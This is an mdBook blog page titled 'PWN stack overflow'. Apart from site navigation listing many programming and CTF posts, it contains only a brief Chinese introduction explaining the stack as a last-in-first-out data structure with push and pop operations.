<!DOCTYPE HTML>
<html lang="en" class="sidebar-visible no-js coal">
    <head>
        <!-- Book generated using mdBook -->
        <meta charset="UTF-8">
        <title>PWN stack overflow - Andrew&#x27;s Blog</title>


        <!-- Custom HTML head -->
        
        <meta name="description" content="Andrew Ryan&#x27;s Blog">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="theme-color" content="#ffffff" />

        <link rel="icon" href="../../favicon.svg">
        <link rel="shortcut icon" href="../../favicon.png">
        <link rel="stylesheet" href="../../css/variables.css">
        <link rel="stylesheet" href="../../css/general.css">
        <link rel="stylesheet" href="../../css/chrome.css">

        <!-- Fonts -->
        <link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
        <link rel="stylesheet" href="../../fonts/fonts.css">

        <!-- Highlight.js Stylesheets -->
        <link rel="stylesheet" href="../../highlight.css">
        <link rel="stylesheet" href="../../tomorrow-night.css">
        <link rel="stylesheet" href="../../ayu-highlight.css">

        <!-- Custom theme stylesheets -->
        <link rel="stylesheet" href="../../src/style/custom.css">

        <!-- MathJax -->
        <script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
    </head>
    <body>
    <div id="body-container">
        <!-- Provide site root to javascript -->
        <script>
            var path_to_root = "../../";
            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
        </script>

        <!-- Work around some values being stored in localStorage wrapped in quotes -->
        <script>
            try {
                var theme = localStorage.getItem('mdbook-theme');
                var sidebar = localStorage.getItem('mdbook-sidebar');

                if (theme.startsWith('"') && theme.endsWith('"')) {
                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
                }

                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
                }
            } catch (e) { }
        </script>

        <!-- Set the theme before any content is loaded, prevents flash -->
        <script>
            var theme;
            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
            if (theme === null || theme === undefined) { theme = default_theme; }
            var html = document.querySelector('html');
            html.classList.remove('no-js')
            html.classList.remove('coal')
            html.classList.add(theme);
            html.classList.add('js');
        </script>

        <!-- Hide / unhide sidebar before it is displayed -->
        <script>
            var html = document.querySelector('html');
            var sidebar = null;
            if (document.body.clientWidth >= 1080) {
                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
                sidebar = sidebar || 'visible';
            } else {
                sidebar = 'hidden';
            }
            html.classList.remove('sidebar-visible');
            html.classList.add("sidebar-" + sidebar);
        </script>

        <nav id="sidebar" class="sidebar" aria-label="Table of contents">
            <div class="sidebar-scrollbox">
                <ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> Linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/Linux/git_cheatsheet.html"><strong aria-hidden="true">1.6.</strong> Git Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/Linux/bash_cheatsheet.html"><strong aria-hidden="true">1.7.</strong> Bash Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/macos/mac.html"><strong aria-hidden="true">2.</strong> MacOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/macos/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li><li class="chapter-item "><a href="../../posts/macos/macos_pwn_env_setup.html"><strong aria-hidden="true">2.2.</strong> macos pwn env setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> Swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in Swift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> iOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> Objective-C</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> Dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> Rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/how_to_create_yolov8_based_object_detection_web_service_using_python,_julia,_node.js,_javascript,_go_and_rust.html"><strong aria-hidden="true">7.25.</strong> How to create YOLOv8-based object detection web service using Python, Julia, Node.js, JavaScript, Go and Rust</a></li><li class="chapter-item "><a href="../../posts/rust/implment_builder_proc_macro_for_command_struct.html"><strong aria-hidden="true">7.26.</strong> implment Builder proc-macro for Command struct</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> Java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> Python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li><li class="chapter-item "><a href="../../posts/python/sanctum_model_yaml.html"><strong aria-hidden="true">9.5.</strong> sanctum model yaml</a></li><li class="chapter-item "><a href="../../posts/python/how_to_detect_objects_on_images_using_the_yolov8_neural_network.html"><strong aria-hidden="true">9.6.</strong> How to detect objects on images using the YOLOv8 neural network</a></li><li class="chapter-item "><a href="../../posts/python/use_huggingface_model.html"><strong aria-hidden="true">9.7.</strong> use huggingface model</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> Go</a></li><li class="chapter-item "><a href="../../posts/javascript/js.html"><strong aria-hidden="true">11.</strong> Javascript</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/javascript/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/javascript/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/javascript/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/javascript/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/javascript/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/javascript/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/javascript/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/javascript/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> Ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> React</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> Vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> Angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> Css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> Php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.</strong> Windows</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.1.</strong> Windows</a></li><li class="chapter-item "><a href="../../posts/windows/windows10_use_powershell_dedup_redundent_path.html"><strong aria-hidden="true">18.2.</strong> Windows10 use PowerShell dedup redundent PATH</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">19.</strong> Leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">19.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">19.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">19.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">19.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">19.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">19.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">19.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">19.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">20.</strong> CTF</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">20.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">20.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">20.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">20.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">20.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">20.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">20.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">20.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">20.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">20.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">20.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">20.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">20.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">20.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">20.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">20.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">20.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">20.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">20.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">20.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">20.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">20.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">20.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">20.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">20.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/zip_plain_text_attack.html"><strong aria-hidden="true">20.26.</strong> Zip plain text attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">20.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">20.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/pwn_stack_overflow.html" class="active"><strong aria-hidden="true">20.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">20.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">20.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">20.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">20.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">20.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">20.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">20.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/pwnable_kr_challenge.html"><strong aria-hidden="true">20.37.</strong> Solutions for pwnable.kr</a></li><li class="chapter-item "><a href="../../posts/ctf/the_periodic_table.html"><strong aria-hidden="true">20.38.</strong> The Periodic Table</a></li><li class="chapter-item "><a href="../../posts/ctf/pwntools_cheatsheet.html"><strong aria-hidden="true">20.39.</strong> Pwntools Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/gdb_cheatsheet.html"><strong aria-hidden="true">20.40.</strong> GDB Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/iltes/iltes.html"><strong aria-hidden="true">21.</strong> ILTES</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/iltes/iltes_writing.html"><strong aria-hidden="true">21.1.</strong> ILTES Writing</a></li></ol></li></ol>
            </div>
            <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
        </nav>

        <!-- Track and set sidebar scroll position -->
        <script>
            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
            sidebarScrollbox.addEventListener('click', function(e) {
                if (e.target.tagName === 'A') {
                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
                }
            }, { passive: true });
            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
            sessionStorage.removeItem('sidebar-scroll');
            if (sidebarScrollTop) {
                // preserve sidebar scroll position when navigating via links within sidebar
                sidebarScrollbox.scrollTop = sidebarScrollTop;
            } else {
                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
                var activeSection = document.querySelector('#sidebar .active');
                if (activeSection) {
                    activeSection.scrollIntoView({ block: 'center' });
                }
            }
        </script>

        <div id="page-wrapper" class="page-wrapper">

            <div class="page">
                                <div id="menu-bar-hover-placeholder"></div>
                <div id="menu-bar" class="menu-bar sticky">
                    <div class="left-buttons">
                        <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                            <i class="fa fa-bars"></i>
                        </button>
                        <button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
                            <i class="fa fa-paint-brush"></i>
                        </button>
                        <ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
                            <li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
                        </ul>
                        <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
                            <i class="fa fa-search"></i>
                        </button>
                    </div>

                    <h1 class="menu-title">Andrew&#x27;s Blog</h1>

                    <div class="right-buttons">
                        <a href="https://gitee.com/dnrops/dnrops" title="Git repository" aria-label="Git repository">
                            <i id="git-repository-button" class="fa fa-github"></i>
                        </a>

                    </div>
                </div>

                <div id="search-wrapper" class="hidden">
                    <form id="searchbar-outer" class="searchbar-outer">
                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
                    </form>
                    <div id="searchresults-outer" class="searchresults-outer hidden">
                        <div id="searchresults-header" class="searchresults-header"></div>
                        <ul id="searchresults">
                        </ul>
                    </div>
                </div>

                <!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
                <script>
                    document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
                    document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
                    Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
                        link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
                    });
                </script>

                <div id="content" class="content">
                    <main>
                        <h1 id="pwn-stack-overflow"><a class="header" href="#pwn-stack-overflow">PWN stack overflow</a></h1>
<h1 id="栈介绍"><a class="header" href="#栈介绍">栈介绍</a></h1>
<h2 id="基本栈介绍"><a class="header" href="#基本栈介绍">基本栈介绍</a></h2>
<p>栈是一种典型的后进先出( Last in First Out )的数据结构，其操作主要有压栈(push)与出栈(pop)两种操作，如下图所示（维基百科）。两种操作都操作栈顶，当然，它也有栈底。</p>
